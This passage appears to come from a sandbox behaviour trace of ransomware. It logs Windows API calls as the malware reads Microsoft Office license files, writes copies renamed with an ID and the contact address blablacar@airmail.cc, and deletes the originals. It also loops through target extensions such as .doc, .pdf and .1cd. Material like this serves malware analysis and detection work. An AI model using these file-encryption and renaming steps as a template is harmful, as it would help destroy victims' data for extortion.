lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.205] SetEndOfFile (hFile=0x574) returned 1 [0203.209] CloseHandle (hObject=0x574) returned 1 [0203.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 1 [0203.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.212] lstrlenW (lpString=".doc") returned 4 [0203.212] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.212] lstrlenW (lpString=".docx") returned 5 [0203.212] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.212] lstrlenW (lpString=".pdf") returned 4 [0203.212] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.212] lstrlenW (lpString=".xls") returned 4 [0203.212] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.212] lstrlenW (lpString=".xlsx") returned 5 [0203.212] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.212] lstrlenW (lpString=".ppt") returned 4 [0203.212] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.212] lstrlenW (lpString=".zip") returned 4 [0203.212] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.212] lstrlenW (lpString=".rar") returned 4 [0203.212] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.212] lstrlenW (lpString=".bz2") returned 4 [0203.212] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.212] lstrlenW (lpString=".7z") returned 3 [0203.212] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.212] lstrlenW (lpString=".dbf") returned 4 [0203.212] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.213] lstrlenW (lpString=".1cd") returned 4 [0203.213] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.213] lstrlenW (lpString=".jpg") returned 4 [0203.213] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.213] lstrlenW (lpString=".doc") returned 4 [0203.213] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.213] lstrlenW (lpString=".docx") returned 5 [0203.213] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.213] lstrlenW (lpString=".pdf") returned 4 [0203.213] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.213] lstrlenW (lpString=".xls") returned 4 [0203.213] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.213] lstrlenW (lpString=".xlsx") returned 5 [0203.213] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.213] lstrlenW (lpString=".ppt") returned 4 [0203.213] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.213] lstrlenW (lpString=".zip") returned 4 [0203.213] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.214] lstrlenW (lpString=".rar") returned 4 [0203.214] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.214] lstrlenW (lpString=".bz2") returned 4 [0203.214] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.214] lstrlenW (lpString=".7z") returned 3 [0203.214] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.214] lstrlenW (lpString=".dbf") returned 4 [0203.214] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.214] lstrlenW (lpString=".1cd") returned 4 [0203.214] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms") returned 83 [0203.214] lstrlenW (lpString=".jpg") returned 4 [0203.214] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.214] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.214] lstrlenW (lpString="O365HomePremR_SubTrial1-ppd.xrm-ms") returned 34 [0203.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.216] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=23135) returned 1 [0203.216] CloseHandle (hObject=0x574) returned 1 [0203.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 0x220 [0203.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.217] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.217] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0203.218] GetLastError () returned 0x0 [0203.218] ReadFile (in: hFile=0x574, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0203.222] WriteFile (in: hFile=0x578, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5a60, lpOverlapped=0x0) returned 1 [0203.223] ReadFile (in: hFile=0x574, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0203.224] WriteFile (in: hFile=0x578, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x118, lpOverlapped=0x0) returned 1 [0203.224] SetEndOfFile (hFile=0x578) returned 1 [0203.224] CloseHandle (hObject=0x578) returned 1 [0203.224] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.224] SetEndOfFile (hFile=0x574) returned 1 [0203.228] CloseHandle (hObject=0x574) returned 1 [0203.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 1 [0203.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.230] lstrlenW (lpString=".doc") returned 4 [0203.230] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.230] lstrlenW (lpString=".docx") returned 5 [0203.230] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.230] lstrlenW (lpString=".pdf") returned 4 [0203.230] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.231] lstrlenW (lpString=".xls") returned 4 [0203.231] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.231] lstrlenW (lpString=".xlsx") returned 5 [0203.231] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.231] lstrlenW (lpString=".ppt") returned 4 [0203.231] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.231] lstrlenW (lpString=".zip") returned 4 [0203.231] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.231] lstrlenW (lpString=".rar") returned 4 [0203.231] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.231] lstrlenW (lpString=".bz2") returned 4 [0203.231] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.231] lstrlenW (lpString=".7z") returned 3 [0203.231] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.231] lstrlenW (lpString=".dbf") returned 4 [0203.231] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.231] lstrlenW (lpString=".1cd") returned 4 [0203.231] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.231] lstrlenW (lpString=".jpg") returned 4 [0203.231] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.232] lstrlenW (lpString=".doc") returned 4 [0203.232] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.232] lstrlenW (lpString=".docx") returned 5 [0203.232] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.232] lstrlenW (lpString=".pdf") returned 4 [0203.232] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.232] lstrlenW (lpString=".xls") returned 4 [0203.232] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.232] lstrlenW (lpString=".xlsx") returned 5 [0203.232] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.232] lstrlenW (lpString=".ppt") returned 4 [0203.232] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.232] lstrlenW (lpString=".zip") returned 4 [0203.232] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.232] lstrlenW (lpString=".rar") returned 4 [0203.232] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.232] lstrlenW (lpString=".bz2") returned 4 [0203.232] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.232] lstrlenW (lpString=".7z") returned 3 [0203.232] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.233] lstrlenW (lpString=".dbf") returned 4 [0203.233] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.233] lstrlenW (lpString=".1cd") returned 4 [0203.233] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms") returned 84 [0203.233] lstrlenW (lpString=".jpg") returned 4 [0203.233] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.233] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.233] lstrlenW (lpString="O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 37 [0203.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.234] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11635) returned 1 [0203.234] CloseHandle (hObject=0x574) returned 1 [0203.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 0x220 [0203.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.235] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.235] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0203.357] GetLastError () returned 0x0 [0203.357] ReadFile (in: hFile=0x574, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d73, lpOverlapped=0x0) returned 1 [0203.359] WriteFile (in: hFile=0x578, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0203.361] ReadFile (in: hFile=0x574, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0203.361] WriteFile (in: hFile=0x578, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0203.361] SetEndOfFile (hFile=0x578) returned 1 [0203.361] CloseHandle (hObject=0x578) returned 1 [0203.361] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.361] SetEndOfFile (hFile=0x574) returned 1 [0203.364] CloseHandle (hObject=0x574) returned 1 [0203.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 1 [0204.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.276] lstrlenW (lpString=".doc") returned 4 [0204.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.276] lstrlenW (lpString=".docx") returned 5 [0204.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.276] lstrlenW (lpString=".pdf") returned 4 [0204.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.276] lstrlenW (lpString=".xls") returned 4 [0204.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.276] lstrlenW (lpString=".xlsx") returned 5 [0204.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.276] lstrlenW (lpString=".ppt") returned 4 [0204.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.276] lstrlenW (lpString=".zip") returned 4 [0204.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.276] lstrlenW (lpString=".rar") returned 4 [0204.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.276] lstrlenW (lpString=".bz2") returned 4 [0204.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.276] lstrlenW (lpString=".7z") returned 3 [0204.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.276] lstrlenW (lpString=".dbf") returned 4 [0204.276] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.276] lstrlenW (lpString=".1cd") returned 4 [0204.276] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.276] lstrlenW (lpString=".jpg") returned 4 [0204.276] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.277] lstrlenW (lpString=".doc") returned 4 [0204.277] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString=".docx") returned 5 [0204.277] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.277] lstrlenW (lpString=".pdf") returned 4 [0204.277] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString=".xls") returned 4 [0204.277] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString=".xlsx") returned 5 [0204.277] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.277] lstrlenW (lpString=".ppt") returned 4 [0204.277] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.277] lstrlenW (lpString=".zip") returned 4 [0204.277] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString=".rar") returned 4 [0204.277] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString=".bz2") returned 4 [0204.277] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString=".7z") returned 3 [0204.277] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.277] lstrlenW (lpString=".dbf") returned 4 [0204.277] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.277] lstrlenW (lpString=".1cd") returned 4 [0204.277] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms") returned 87 [0204.277] lstrlenW (lpString=".jpg") returned 4 [0204.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.278] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.278] lstrlenW (lpString="O365HomePremR_SubTrial5-pl.xrm-ms") returned 33 [0204.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.282] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11183) returned 1 [0204.282] CloseHandle (hObject=0x3ec) returned 1 [0204.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms")) returned 0x220 [0204.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.283] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.283] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial5-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial5-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0204.289] GetLastError () returned 0x0 [0204.289] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2baf, lpOverlapped=0x0) returned 1 [0204.306] WriteFile (in: hFile=0x520, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: 